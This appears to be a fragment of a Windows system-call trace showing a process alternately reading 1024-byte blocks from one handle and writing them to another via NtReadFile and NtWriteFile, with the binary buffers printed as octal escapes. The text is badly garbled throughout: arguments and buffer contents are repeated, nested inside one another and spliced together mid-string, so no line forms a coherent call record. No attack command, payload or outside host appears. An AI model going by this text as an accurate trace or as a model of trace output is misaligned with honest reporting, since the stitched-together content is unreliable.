"k\344\317%\333\214\241\340,E\256/3\262\3230^55gR8\311\237\267\08\327\373\27\15\33'H!!\243%\325n\254\330\252\324\324X-/ht133\335\31264\263u\36+<\260j\33\17MOM\222 e\6\23N\1vq\327-?w-\7\326\254\317%F#\15\312#s85jl\261}r\33kt\315X\37\25pb\3341\325\375%))\36_CYOC\20BW\267ZQ\364\35\2196I<(\266\16.,\317\353 "\302[\301&#\24[)\31\30)+\335/>7\30\\344.R\226\17\25K2\6\35~jHYOW[\241!l/m}F'\212\321\26\177\21\201\23\246\16\337\14\32\13q\11L\7\233\5;?\375"\16;-\35:.\14\20\22\22\20\24&\33\31i\33o\35a\37/`\0f\2h\4V\68]\13W\15M\17K*\34a/\237\21\245\23\257\25W\37~\22R\20\260\26\211\24~\13\267\11\220\17\233\15\336\3=\6\33\0\12\2_'c!\13"?\34\13\36\307\30%\31<\27y\25\340\23=\20\37\1620\264766\22499\257\14\215\164*;,\235.\355\20T\345\325 L\330 AR\241\314\342J\21605\22cP\274\237\30\272\32n<\266R\33'J.\350\234(\334#\252${\257S\14%\256V\11mR\27X\261]s\261\30v\6\254\331v\273\342`\336\14;x\31\227\22\200 "\247\241\345R.\253\321:##\250\342/\250\7\277M$\5a", ) ?\34\13\36\307\30%\31<\27y\25\340\23=\20\37\1620\264766\22499\257\14\215\164*;,\235.\355\20T\345\325 L\330 AR\241\314\342J\21605\22cP\274\237\30\272\32n<\266R\33'J.\350\234(\334#\252${\257S\14%\256V\11mR\27X\261]s\261\30v\6\254\331v\273\342`\336\14;x\31\227\22\200  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "k\344\317%\333\214\241\340,E\256/3\262\3230^55gR8\311\237\267\08\327\373\27\15\33'H!!\243%\325n\254\330\252\324\324X-/ht133\335\31264\263u\36+<\260j\33\17MOM\222 e\6\23N\1vq\327-?w-\7\326\254\317%F#\15\312#s85jl\261}r\33kt\315X\37\25pb\3341\325\375%))\36_CYOC\20BW\267ZQ\364\35\2196I<(\266\16.,\317\353 "\302[\301&#\24[)\31\30)+\335/>7\30\\344.R\226\17\25K2\6\35~jHYOW[\241!l/m}F'\212\321\26\177\21\201\23\246\16\337\14\32\13q\11L\7\233\5;?\375"\16;-\35:.\14\20\22\22\20\24&\33\31i\33o\35a\37/`\0f\2h\4V\68]\13W\15M\17K*\34a/\237\21\245\23\257\25W\37~\22R\20\260\26\211\24~\13\267\11\220\17\233\15\336\3=\6\33\0\12\2_'c!\13"?\34\13\36\307\30%\31<\27y\25\340\23=\20\37\1620\264766\22499\257\14\215\164*;,\235.\355\20T\345\325 L\330 AR\241\314\342J\21605\22cP\274\237\30\272\32n<\266R\33'J.\350\234(\334#\252${\257S\14%\256V\11mR\27X\261]s\261\30v\6\254\331v\273\342`\336\14;x\31\227\22\200 "\247\241\345R.\253\321:##\250\342/\250\7\277M$\5a", ) , ) == 0x0
 01363  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\217\341\357\321fx>l\1\316\232n\360\326\32\275\237\311\203a6\14H6\313xV\340\14\12\366\3116\17*E\207d\352\225b*4\10\31\30wK7\322'+\262\333\272}B\236\264\300\330\224\255\1M\326Q\370}c\3309\17\352t\273M\254y\21\244S\370\216o%\335\334d\233\321D\236e"Q\302\13w\363\335g\222\330\15;\215s\363\221\231tK\253te\357\3273\330\217X\311\240\221\216\244\35\360\255v\345\226x\24XL\25\21H+)2\6\33\250\335\201R\304\331e\243\237\363\20\11\233V\336\11\346{\328\273\311\3148\226^\15\252\15\244\331:\256\3\276\225\12\326\370\367\213\206y\370\232\227\7\10\326\204\274\363\234\270C \225\317r\272\262\217~\250 (\336\367\33n\341K\326V\341\204\203\31\355\27\241:\1mO\334U\334\261T\1\3250\225\225\274\207A\363\266\24\342^3\202\376\213\251q\2505IO#6\252\31t\332_c\207\255\326\242;\311T\264*\242v\250**\302\323\7\267\316\326+b\31Q6\216\35\169g\2\317\201\202\310\301)uI\377\336\224\257\276n\214\256\276\1774\3\22I\375l\275\277|\2115\276\C!z7*\224\370dz\321\345S\14\312\244\337\311\277\252PZ\331\125\344\303\\3579\235L\314*\313\312\332T\304\3038\13=F\210\26\366\26\214 \345w\303\330\360\264\312\23\267;\334\355\27N\321\255d\215\350\230\332\271\3339\2\26\367%`a\21\207\270c<\330\340\336h\321Q\241\263|\203\343\214\312\27 \222&\343\230\16"\2=7\350\10.&\303:2\325,)\3\373\251;\355d\241F\305\11j,:\325\353\267\212=\275\252sh\341~\376\254\245\367J\211k\344\341h\306\4p\2148\240-\3773{\324C\221!\353\3308\311", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) Q\302\13w\363\335g\222\330\15;\215s\363\221\231tK\253te\357\3273\330\217X\311\240\221\216\244\35\360\255v\345\226x\24XL\25\21H+)2\6\33\250\335\201R\304\331e\243\237\363\20\11\233V\336\11\346{\328\273\311\3148\226^\15\252\15\244\331:\256\3\276\225\12\326\370\367\213\206y\370\232\227\7\10\326\204\274\363\234\270C \225\317r\272\262\217~\250 (\336\367\33n\341K\326V\341\204\203\31\355\27\241:\1mO\334U\334\261T\1\3250\225\225\274\207A\363\266\24\342^3\202\376\213\251q\2505IO#6\252\31t\332_c\207\255\326\242;\311T\264*\242v\250**\302\323\7\267\316\326+b\31Q6\216\35\169g\2\317\201\202\310\301)uI\377\336\224\257\276n\214\256\276\1774\3\22I\375l\275\277|\2115\276\C!z7*\224\370dz\321\345S\14\312\244\337\311\277\252PZ\331\125\344\303\\3579\235L\314*\313\312\332T\304\3038\13=F\210\26\366\26\214 \345w\303\330\360\264\312\23\267;\334\355\27N\321\255d\215\350\230\332\271\3339\2\26\367%`a\21\207\270c<\330\340\336h\321Q\241\263|\203\343\214\312\27 \222&\343\230\16 (92, 0, 0, 0, "\217\341\357\321fx>l\1\316\232n\360\326\32\275\237\311\203a6\14H6\313xV\340\14\12\366\3116\17*E\207d\352\225b*4\10\31\30wK7\322'+\262\333\272}B\236\264\300\330\224\255\1M\326Q\370}c\3309\17\352t\273M\254y\21\244S\370\216o%\335\334d\233\321D\236e"Q\302\13w\363\335g\222\330\15;\215s\363\221\231tK\253te\357\3273\330\217X\311\240\221\216\244\35\360\255v\345\226x\24XL\25\21H+)2\6\33\250\335\201R\304\331e\243\237\363\20\11\233V\336\11\346{\328\273\311\3148\226^\15\252\15\244\331:\256\3\276\225\12\326\370\367\213\206y\370\232\227\7\10\326\204\274\363\234\270C \225\317r\272\262\217~\250 (\336\367\33n\341K\326V\341\204\203\31\355\27\241:\1mO\334U\334\261T\1\3250\225\225\274\207A\363\266\24\342^3\202\376\213\251q\2505IO#6\252\31t\332_c\207\255\326\242;\311T\264*\242v\250**\302\323\7\267\316\326+b\31Q6\216\35\169g\2\317\201\202\310\301)uI\377\336\224\257\276n\214\256\276\1774\3\22I\375l\275\277|\2115\276\C!z7*\224\370dz\321\345S\14\312\244\337\311\277\252PZ\331\125\344\303\\3579\235L\314*\313\312\332T\304\3038\13=F\210\26\366\26\214 \345w\303\330\360\264\312\23\267;\334\355\27N\321\255d\215\350\230\332\271\3339\2\26\367%`a\21\207\270c<\330\340\336h\321Q\241\263|\203\343\214\312\27 \222&\343\230\16"\2=7\350\10.&\303:2\325,)\3\373\251;\355d\241F\305\11j,:\325\353\267\212=\275\252sh\341~\376\254\245\367J\211k\344\341h\306\4p\2148\240-\3773{\324C\221!\353\3308\311", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01364  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "];\262ef\235\21\353\300bt \264\235&$xA\226\24h-//ac\213\366\250\324^\257\31\13Z\377\\14\177\13\2278\11>\34\200\211.r\4O\24u\300\213\310x4\332\316\367+\361\305\353\3613\251%|\25rG\30)\276\37s\270\34\22\367.x`*a\257\307]\245fb\246,}\321\252\342E?\271\374\2072\274\15\205z\211\303=\350\246\242\26\35\35\350\331 QZ\300s\330\330\327\377y\223,\264\227%02\305\312\2715z\23,k\322\353j\303\26\300\344\312\27\216\243 i\251W4\1r\252|)\36\240\342\305.\32j\3170jt)\270\3\363\15\356\17<\20\13\15.\337+\0("s\362\26A\22I\20\243\36\252\215\33\350\31\343\7\256B\64\363\16\1\1\260\3\352\5=\344\6\13&\313$n\33AT\30\7\31V7\16\30J\30,\20`\220.2\314+5)7'9%;#=!?\4\34\2\36\340?!=#;%)'')%+#-!/\317>2<4:6886:4<2>0\33\343\22\36\20 .",$*&((&*$,\322U\20:\48#\0?F7'35;\360\224>7\220\32\355(\25@p\346\223-,\266.\357o+1*-*q' \245;4\2105f\2314l\260\177=:\2\344\343\35\34c'!|~\26\345}~\353\32*\342U.>[dY@s5\16\265\3678=\271\3708\270\310K\300\34\230\341k\367"\320 \336eq\317:))_\354;\0\257UIW\23\31\\265$9::V=?\327\14\34\35\35j!\342\312"$!\247\206).\241\31\27\353pO?\245\363\271\365>/:4j\177\373\37j\376P\17\364\235\237\211\330\21u\313I\226$\205hz\241", ) s\362\26A\22I\20\243\36\252\215\33\350\31\343\7\256B\64\363\16\1\1\260\3\352\5=\344\6\13&\313$n\33AT\30\7\31V7\16\30J\30,\20`\220.2\314+5)7'9%;#=!?\4\34\2\36\340?!=#;%)'')%+#-!/\317>2<4:6886:4<2>0\33\343\22\36\20 . (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "];\262ef\235\21\353\300bt \264\235&$xA\226\24h-//ac\213\366\250\324^\257\31\13Z\377\\14\177\13\2278\11>\34\200\211.r\4O\24u\300\213\310x4\332\316\367+\361\305\353\3613\251%|\25rG\30)\276\37s\270\34\22\367.x`*a\257\307]\245fb\246,}\321\252\342E?\271\374\2072\274\15\205z\211\303=\350\246\242\26\35\35\350\331 QZ\300s\330\330\327\377y\223,\264\227%02\305\312\2715z\23,k\322\353j\303\26\300\344\312\27\216\243 i\251W4\1r\252|)\36\240\342\305.\32j\3170jt)\270\3\363\15\356\17<\20\13\15.\337+\0("s\362\26A\22I\20\243\36\252\215\33\350\31\343\7\256B\64\363\16\1\1\260\3\352\5=\344\6\13&\313$n\33AT\30\7\31V7\16\30J\30,\20`\220.2\314+5)7'9%;#=!?\4\34\2\36\340?!=#;%)'')%+#-!/\317>2<4:6886:4<2>0\33\343\22\36\20 .",$*&((&*$,\322U\20:\48#\0?F7'35;\360\224>7\220\32\355(\25@p\346\223-,\266.\357o+1*-*q' \245;4\2105f\2314l\260\177=:\2\344\343\35\34c'!|~\26\345}~\353\32*\342U.>[dY@s5\16\265\3678=\271\3708\270\310K\300\34\230\341k\367"\320 \336eq\317:))_\354;\0\257UIW\23\31\\265$9::V=?\327\14\34\35\35j!\342\312"$!\247\206).\241\31\27\353pO?\245\363\271\365>/:4j\177\373\37j\376P\17\364\235\237\211\330\21u\313I\226$\205hz\241", ) \320 \336eq\317:))_\354;\0\257UIW\23\31\\265$9::V=?\327\14\34\35\35j!\342\312 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "];\262ef\235\21\353\300bt \264\235&$xA\226\24h-//ac\213\366\250\324^\257\31\13Z\377\\14\177\13\2278\11>\34\200\211.r\4O\24u\300\213\310x4\332\316\367+\361\305\353\3613\251%|\25rG\30)\276\37s\270\34\22\367.x`*a\257\307]\245fb\246,}\321\252\342E?\271\374\2072\274\15\205z\211\303=\350\246\242\26\35\35\350\331 QZ\300s\330\330\327\377y\223,\264\227%02\305\312\2715z\23,k\322\353j\303\26\300\344\312\27\216\243 i\251W4\1r\252|)\36\240\342\305.\32j\3170jt)\270\3\363\15\356\17<\20\13\15.\337+\0("s\362\26A\22I\20\243\36\252\215\33\350\31\343\7\256B\64\363\16\1\1\260\3\352\5=\344\6\13&\313$n\33AT\30\7\31V7\16\30J\30,\20`\220.2\314+5)7'9%;#=!?\4\34\2\36\340?!=#;%)'')%+#-!/\317>2<4:6886:4<2>0\33\343\22\36\20 .",$*&((&*$,\322U\20:\48#\0?F7'35;\360\224>7\220\32\355(\25@p\346\223-,\266.\357o+1*-*q' \245;4\2105f\2314l\260\177=:\2\344\343\35\34c'!|~\26\345}~\353\32*\342U.>[dY@s5\16\265\3678=\271\3708\270\310K\300\34\230\341k\367"\320 \336eq\317:))_\354;\0\257UIW\23\31\\265$9::V=?\327\14\34\35\35j!\342\312"$!\247\206).\241\31\27\353pO?\245\363\271\365>/:4j\177\373\37j\376P\17\364\235\237\211\330\21u\313I\226$\205hz\241", ) , ) == 0x0
 01365  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "E8\300\17M\243\316\300S\250`\26\300l\224\360\373\336F\255W\366n\12*h\340\250>e>\27\264Z\366\252\313\274\32\261m\3100\351\361p\305&\274\261\243\335\233\204/\17\323#\1~Y\312\15+Y\231\212K(\303\336]\216\241\214_a\307b\342\330V\213\2u\300e\337,\373\300\305\301h-\346\35\320r\252\331\213\336\351\307\314\234\241\212u\330\2742\233\2266\317\300\332\235\27\252\3322E\277\3447\272\365\334\30\326O\234HmeX3\265\274\361\336\267S\147\261")4\353\234\302\307\342\336\242p\344U\212\7\264Z\263\266T\337\15n\5b\252\222I\231\3516V\21Uzm\340\5\271\23I\17\350sW\225\226\332'\342\371\2069\201J\36p\336X\222j\326\21\31\373\254\244\235\377d[\352\325Lvt`YR\224\214y\275\316\17\324\313!@\263"\232\4\21_\256\223O\262\13\250\264\272`^\16\240V\356 \223~)\37k\345J*\221\32XJ\375\234\314\334\316\266\17g\15JV_\363\245/K\303\356\333\37I0K\211b\200\267\376\200\33.\312\252\10\270Y\260\327\320\242\161\356\7(\242\317\274z\210M\15/\316\226/\323\270n\270n\307\204\14X\10\325v\2537\304\376\324H\353\245\3272\345\350\354\226\5\250\277\347\16\253\345|\7\202\251w\323\324\315\26o\336\202\255B\2320g\261A\232\315\210\30\257\215\330\4\367\1aV\305-\364\207%6\311j}a\37\347\300J\324\333b\203\311\1\\269\326`\37\3216,\36r'\264/2\233\203\351/RE\25WgK\213z\330\225\312\275\311\333\301\217\24*\237\4P\363\322Hj\314|\273\213p\360\370<\313;\210\361\212|\362bl}\265\253\257X\344\164\343\236\303\200\260t\224w\330\31%uo9u\201\307\328", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) )4\353\234\302\307\342\336\242p\344U\212\7\264Z\263\266T\337\15n\5b\252\222I\231\3516V\21Uzm\340\5\271\23I\17\350sW\225\226\332'\342\371\2069\201J\36p\336X\222j\326\21\31\373\254\244\235\377d[\352\325Lvt`YR\224\214y\275\316\17\324\313!@\263 (92, 0, 0, 0, "E8\300\17M\243\316\300S\250`\26\300l\224\360\373\336F\255W\366n\12*h\340\250>e>\27\264Z\366\252\313\274\32\261m\3100\351\361p\305&\274\261\243\335\233\204/\17\323#\1~Y\312\15+Y\231\212K(\303\336]\216\241\214_a\307b\342\330V\213\2u\300e\337,\373\300\305\301h-\346\35\320r\252\331\213\336\351\307\314\234\241\212u\330\2742\233\2266\317\300\332\235\27\252\3322E\277\3447\272\365\334\30\326O\234HmeX3\265\274\361\336\267S\147\261")4\353\234\302\307\342\336\242p\344U\212\7\264Z\263\266T\337\15n\5b\252\222I\231\3516V\21Uzm\340\5\271\23I\17\350sW\225\226\332'\342\371\2069\201J\36p\336X\222j\326\21\31\373\254\244\235\377d[\352\325Lvt`YR\224\214y\275\316\17\324\313!@\263"\232\4\21_\256\223O\262\13\250\264\272`^\16\240V\356 \223~)\37k\345J*\221\32XJ\375\234\314\334\316\266\17g\15JV_\363\245/K\303\356\333\37I0K\211b\200\267\376\200\33.\312\252\10\270Y\260\327\320\242\161\356\7(\242\317\274z\210M\15/\316\226/\323\270n\270n\307\204\14X\10\325v\2537\304\376\324H\353\245\3272\345\350\354\226\5\250\277\347\16\253\345|\7\202\251w\323\324\315\26o\336\202\255B\2320g\261A\232\315\210\30\257\215\330\4\367\1aV\305-\364\207%6\311j}a\37\347\300J\324\333b\203\311\1\\269\326`\37\3216,\36r'\264/2\233\203\351/RE\25WgK\213z\330\225\312\275\311\333\301\217\24*\237\4P\363\322Hj\314|\273\213p\360\370<\313;\210\361\212|\362bl}\265\253\257X\344\164\343\236\303\200\260t\224w\330\31%uo9u\201\307\328", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01366  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262\310\314;\240\366\277\271\266[#H"13O85L\224\356\311\340\354d.\341c\14%Z!|.\314\7d20\333'e5\246?=;\23=\325<<\32\14\36\37\34\310e\323\370$-\252\3D\3109\355lrprT\270?\323 \361\317\3068\372\252\224+1+\13[\32\35$j:I2\257\3%\66)&\241n0\255>op\270w/\335Zv'\376\241\177.=\375\0=\14/\335\336\27\212\25\2+p\305&\37H\346\36\313,\271\22~\2601v\263wgfw*[Z`\277\371J\375\37\34\34\341\240T.",$*&((&*$,".\320?1=3;597795;3=1?\344\23\35\21\37/!-#+%)'')%+\255".\343a\272'\256Ne\20\27n\6\305\4<>\376>\33\35u\36\34,\21m\23s\25\233\27\337\31\327\33*\34\17\36\31\0\6\2B\4J\6\211\10\214\12[\17S\15m.\214,\206\22\205\20\305\26\311\24\17\33\212\31\333\37\22\32\246\4\343\6.\1[\32\266\30?\26\254,w\307\23\353\302\5\3769\21\325\374N\1\26v\210\14\325\376\374<\34\364x\264\315Md\177B/\3300\12\273V\15l\371\33\35e\214\36 \337\341,\232\356\35\350TG\316\2739\334;\360\334\314\2738:;\377|3.\2646]\31\336", ) 13O85L\224\356\311\340\354d.\341c\14%Z!|.\314\7d20\333'e5\246?=;\23=\325<<\32\14\36\37\34\310e\323\370$-\252\3D\3109\355lrprT\270?\323 \361\317\3068\372\252\224+1+\13[\32\35$j:I2\257\3%\66)&\241n0\255>op\270w/\335Zv'\376\241\177.=\375\0=\14/\335\336\27\212\25\2+p\305&\37H\346\36\313,\271\22~\2601v\263wgfw*[Z`\277\371J\375\37\34\34\341\240T. (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262\310\314;\240\366\277\271\266[#H"13O85L\224\356\311\340\354d.\341c\14%Z!|.\314\7d20\333'e5\246?=;\23=\325<<\32\14\36\37\34\310e\323\370$-\252\3D\3109\355lrprT\270?\323 \361\317\3068\372\252\224+1+\13[\32\35$j:I2\257\3%\66)&\241n0\255>op\270w/\335Zv'\376\241\177.=\375\0=\14/\335\336\27\212\25\2+p\305&\37H\346\36\313,\271\22~\2601v\263wgfw*[Z`\277\371J\375\37\34\34\341\240T.",$*&((&*$,".\320?1=3;597795;3=1?\344\23\35\21\37/!-#+%)'')%+\255".\343a\272'\256Ne\20\27n\6\305\4<>\376>\33\35u\36\34,\21m\23s\25\233\27\337\31\327\33*\34\17\36\31\0\6\2B\4J\6\211\10\214\12[\17S\15m.\214,\206\22\205\20\305\26\311\24\17\33\212\31\333\37\22\32\246\4\343\6.\1[\32\266\30?\26\254,w\307\23\353\302\5\3769\21\325\374N\1\26v\210\14\325\376\374<\34\364x\264\315Md\177B/\3300\12\273V\15l\371\33\35e\214\36 \337\341,\232\356\35\350TG\316\2739\334;\360\334\314\2738:;\377|3.\2646]\31\336", ) .\320?1=3;597795;3=1?\344\23\35\21\37/!-#+%)'')%+\255 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\262\310\314;\240\366\277\271\266[#H"13O85L\224\356\311\340\354d.\341c\14%Z!|.\314\7d20\333'e5\246?=;\23=\325<<\32\14\36\37\34\310e\323\370$-\252\3D\3109\355lrprT\270?\323 \361\317\3068\372\252\224+1+\13[\32\35$j:I2\257\3%\66)&\241n0\255>op\270w/\335Zv'\376\241\177.=\375\0=\14/\335\336\27\212\25\2+p\305&\37H\346\36\313,\271\22~\2601v\263wgfw*[Z`\277\371J\375\37\34\34\341\240T.",$*&((&*$,".\320?1=3;597795;3=1?\344\23\35\21\37/!-#+%)'')%+\255".\343a\272'\256Ne\20\27n\6\305\4<>\376>\33\35u\36\34,\21m\23s\25\233\27\337\31\327\33*\34\17\36\31\0\6\2B\4J\6\211\10\214\12[\17S\15m.\214,\206\22\205\20\305\26\311\24\17\33\212\31\333\37\22\32\246\4\343\6.\1[\32\266\30?\26\254,w\307\23\353\302\5\3769\21\325\374N\1\26v\210\14\325\376\374<\34\364x\264\315Md\177B/\3300\12\273V\15l\371\33\35e\214\36 \337\341,\232\356\35\350TG\316\2739\334;\360\334\314\2738:;\377|3.\2646]\31\336", ) ;\360\334\314\2738:;\377|3.\2646]\31\336", ) == 0x0
 01367  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "EG4\206\343\30k\20\321\320>\224nI\354\222"\327&\207\321\11@<\362\7\234qj\337\2762m4\253\177\373\265t\227\206\322\374\200\366\20'\212\365\\34\245\272\341\25\24\243\237oc\30\357\353\225\204\353<\10\361j\352\307^t\321;Y\5\270\245\36{\213P[eQv\364H\205\36\374\360\337\16\225Q\307\272`[\271P|\225B\227\306\177\265\26\276\302\200@\265\34\220\257\377M\242\212\342\243q)\356\200Ipev\302F\260\205\234\253\37\332\323\371[\2v\2\246\375\236\301\327\16\276\35\307\233\13U\317\204s\232\314\272\314\216l\215\335\206#\216\17\273xl\316\33'\346\347!\371R}\307M-\370\23\245\366\240\253\230\276l\250\363'\7\247c,\337\220\3\342\274 \234s\311E\340e\366{\362\342cE\236\212\347\345a\341<,\207A\230\213~\23\266\304\362\227\37p\21606A\323>\11p\306\177M\207\354\206\376\275\177&\5\367\265\272%%\337}M\16/a\331\370S\35l\17\200\335\33lZr\10-c\376\340\214C\363\320\233\347|\377H\341\35\245\372\351a!a\245\0\25\274\267\271u\256h\321,`\373\212.\303\3239\356\275\347!\250\242\370\36\270we\357S\251\301\322\307\15m\13A\331\331\237\14\12\310\377\10#\336\253\0\302K\2354g\27\3578\224l;\203\2279\3\205\207u&*\345q\376&:Y\235\223\35\234\244\322\364C\341\200Pv\277\260{\202\22\26\332\316H\335\367y\211\23\344\370\212(R\25a* \17[\350\267\255,*\320\245\241\12\3410^\227"\246\325ZYC\365\356\235a\207\2647\16\14u\345\34\3273o\2ID\357LT\305y\343\205\262\334\24\5\4\300o\224\372\354@\336\10\333\306\316\354\276=\261\260\235\320\265F\22\214\225\222\262\307\275", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \327&\207\321\11@<\362\7\234qj\337\2762m4\253\177\373\265t\227\206\322\374\200\366\20'\212\365\\34\245\272\341\25\24\243\237oc\30\357\353\225\204\353<\10\361j\352\307^t\321;Y\5\270\245\36{\213P[eQv\364H\205\36\374\360\337\16\225Q\307\272`[\271P|\225B\227\306\177\265\26\276\302\200@\265\34\220\257\377M\242\212\342\243q)\356\200Ipev\302F\260\205\234\253\37\332\323\371[\2v\2\246\375\236\301\327\16\276\35\307\233\13U\317\204s\232\314\272\314\216l\215\335\206#\216\17\273xl\316\33'\346\347!\371R}\307M-\370\23\245\366\240\253\230\276l\250\363'\7\247c,\337\220\3\342\274 \234s\311E\340e\366{\362\342cE\236\212\347\345a\341<,\207A\230\213~\23\266\304\362\227\37p\21606A\323>\11p\306\177M\207\354\206\376\275\177&\5\367\265\272%%\337}M\16/a\331\370S\35l\17\200\335\33lZr\10-c\376\340\214C\363\320\233\347|\377H\341\35\245\372\351a!a\245\0\25\274\267\271u\256h\321,`\373\212.\303\3239\356\275\347!\250\242\370\36\270we\357S\251\301\322\307\15m\13A\331\331\237\14\12\310\377\10#\336\253\0\302K\2354g\27\3578\224l;\203\2279\3\205\207u&*\345q\376&:Y\235\223\35\234\244\322\364C\341\200Pv\277\260{\202\22\26\332\316H\335\367y\211\23\344\370\212(R\25a* \17[\350\267\255,*\320\245\241\12\3410^\227 (92, 0, 0, 0, "EG4\206\343\30k\20\321\320>\224nI\354\222"\327&\207\321\11@<\362\7\234qj\337\2762m4\253\177\373\265t\227\206\322\374\200\366\20'\212\365\\34\245\272\341\25\24\243\237oc\30\357\353\225\204\353<\10\361j\352\307^t\321;Y\5\270\245\36{\213P[eQv\364H\205\36\374\360\337\16\225Q\307\272`[\271P|\225B\227\306\177\265\26\276\302\200@\265\34\220\257\377M\242\212\342\243q)\356\200Ipev\302F\260\205\234\253\37\332\323\371[\2v\2\246\375\236\301\327\16\276\35\307\233\13U\317\204s\232\314\272\314\216l\215\335\206#\216\17\273xl\316\33'\346\347!\371R}\307M-\370\23\245\366\240\253\230\276l\250\363'\7\247c,\337\220\3\342\274 \234s\311E\340e\366{\362\342cE\236\212\347\345a\341<,\207A\230\213~\23\266\304\362\227\37p\21606A\323>\11p\306\177M\207\354\206\376\275\177&\5\367\265\272%%\337}M\16/a\331\370S\35l\17\200\335\33lZr\10-c\376\340\214C\363\320\233\347|\377H\341\35\245\372\351a!a\245\0\25\274\267\271u\256h\321,`\373\212.\303\3239\356\275\347!\250\242\370\36\270we\357S\251\301\322\307\15m\13A\331\331\237\14\12\310\377\10#\336\253\0\302K\2354g\27\3578\224l;\203\2279\3\205\207u&*\345q\376&:Y\235\223\35\234\244\322\364C\341\200Pv\277\260{\202\22\26\332\316H\335\367y\211\23\344\370\212(R\25a* \17[\350\267\255,*\320\245\241\12\3410^\227"\246\325ZYC\365\356\235a\207\2647\16\14u\345\34\3273o\2ID\357LT\305y\343\205\262\334\24\5\4\300o\224\372\354@\336\10\333\306\316\354\276=\261\260\235\320\265F\22\214\225\222\262\307\275", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01368  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\255z\3\20\301\200+;\322\321xZ\24X.4_\25\272t\35\22Q\31=o\327=\3\342\341\234\344!:\250\354\343b\3\207*\303j0\321\320`Y\16\263Eq66\320`\30:T+6?\277\37\351s\35Z\23\212p\26\26\204#<\300||\34.\256'\214\231\36\210T\17\275\3415\33\227\35744\2572\376|\33\316$\372t\365(\210\3046c+\240h(\236\201\233k3;s0\207w5\2472\221[D\17\351:\314\13\314\26=& ]\33\247\35\251\37\263\21)\266\22\210\24\202\26\204\10\222\217\15\355\17\3038t>[\235\265*\5\7<\2742%\24\301\202\253`\37j\207\210u\20OL\215\6[\12M\22\223\270\25\226\253\2\271\236\1\220\7\212\5\247\374\215\312f\277 M\3CE\22$\27*\273*]X1\2270XF\23\12\13\26UT9[\25HEJ\37=:\35>yTQ\14F\@\246\7\5G\12\6_\27&\3570\24A\21>5\7\343\3319y;9\23\1~{\272l/N\310>"-'e\25~j\362(\201\224-\342\343\263\335\22e\277A6\23\20\274\314l\373y\32?\23\34\31\21\233\320!!#\257#\243\347'\255\314+,.\255\327\317D(e\3345W\27\305\306\271\3778\264\276<0\313B@\34\342C!\376r+\315\307\250{$\13(%\317|\320\34\252?\334}6$\331\24\364D\335\20I\337\22\250&\\25\213\241&\220<\307X7)\211S\332Y%qq\3\361s\360"s?\274%\301\232 >?5?0\24z\333\12+*\2524\314\24f1*\277\251[\323\322[#4\60.\3609\2637\307L&\322\372\303\301\300BP\204(\32b\270\2467z$\245z.\352\307\251\21-\255\303, ) -'e\25~j\362(\201\224-\342\343\263\335\22e\277A6\23\20\274\314l\373y\32?\23\34\31\21\233\320!!#\257#\243\347'\255\314+,.\255\327\317D(e\3345W\27\305\306\271\3778\264\276<0\313B@\34\342C!\376r+\315\307\250{$\13(%\317|\320\34\252?\334}6$\331\24\364D\335\20I\337\22\250&\\25\213\241&\220<\307X7)\211S\332Y%qq\3\361s\360 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\255z\3\20\301\200+;\322\321xZ\24X.4_\25\272t\35\22Q\31=o\327=\3\342\341\234\344!:\250\354\343b\3\207*\303j0\321\320`Y\16\263Eq66\320`\30:T+6?\277\37\351s\35Z\23\212p\26\26\204#<\300||\34.\256'\214\231\36\210T\17\275\3415\33\227\35744\2572\376|\33\316$\372t\365(\210\3046c+\240h(\236\201\233k3;s0\207w5\2472\221[D\17\351:\314\13\314\26=& ]\33\247\35\251\37\263\21)\266\22\210\24\202\26\204\10\222\217\15\355\17\3038t>[\235\265*\5\7<\2742%\24\301\202\253`\37j\207\210u\20OL\215\6[\12M\22\223\270\25\226\253\2\271\236\1\220\7\212\5\247\374\215\312f\277 M\3CE\22$\27*\273*]X1\2270XF\23\12\13\26UT9[\25HEJ\37=:\35>yTQ\14F\@\246\7\5G\12\6_\27&\3570\24A\21>5\7\343\3319y;9\23\1~{\272l/N\310>"-'e\25~j\362(\201\224-\342\343\263\335\22e\277A6\23\20\274\314l\373y\32?\23\34\31\21\233\320!!#\257#\243\347'\255\314+,.\255\327\317D(e\3345W\27\305\306\271\3778\264\276<0\313B@\34\342C!\376r+\315\307\250{$\13(%\317|\320\34\252?\334}6$\331\24\364D\335\20I\337\22\250&\\25\213\241&\220<\307X7)\211S\332Y%qq\3\361s\360"s?\274%\301\232 >?5?0\24z\333\12+*\2524\314\24f1*\277\251[\323\322[#4\60.\3609\2637\307L&\322\372\303\301\300BP\204(\32b\270\2467z$\245z.\352\307\251\21-\255\303, ) , ) == 0x0
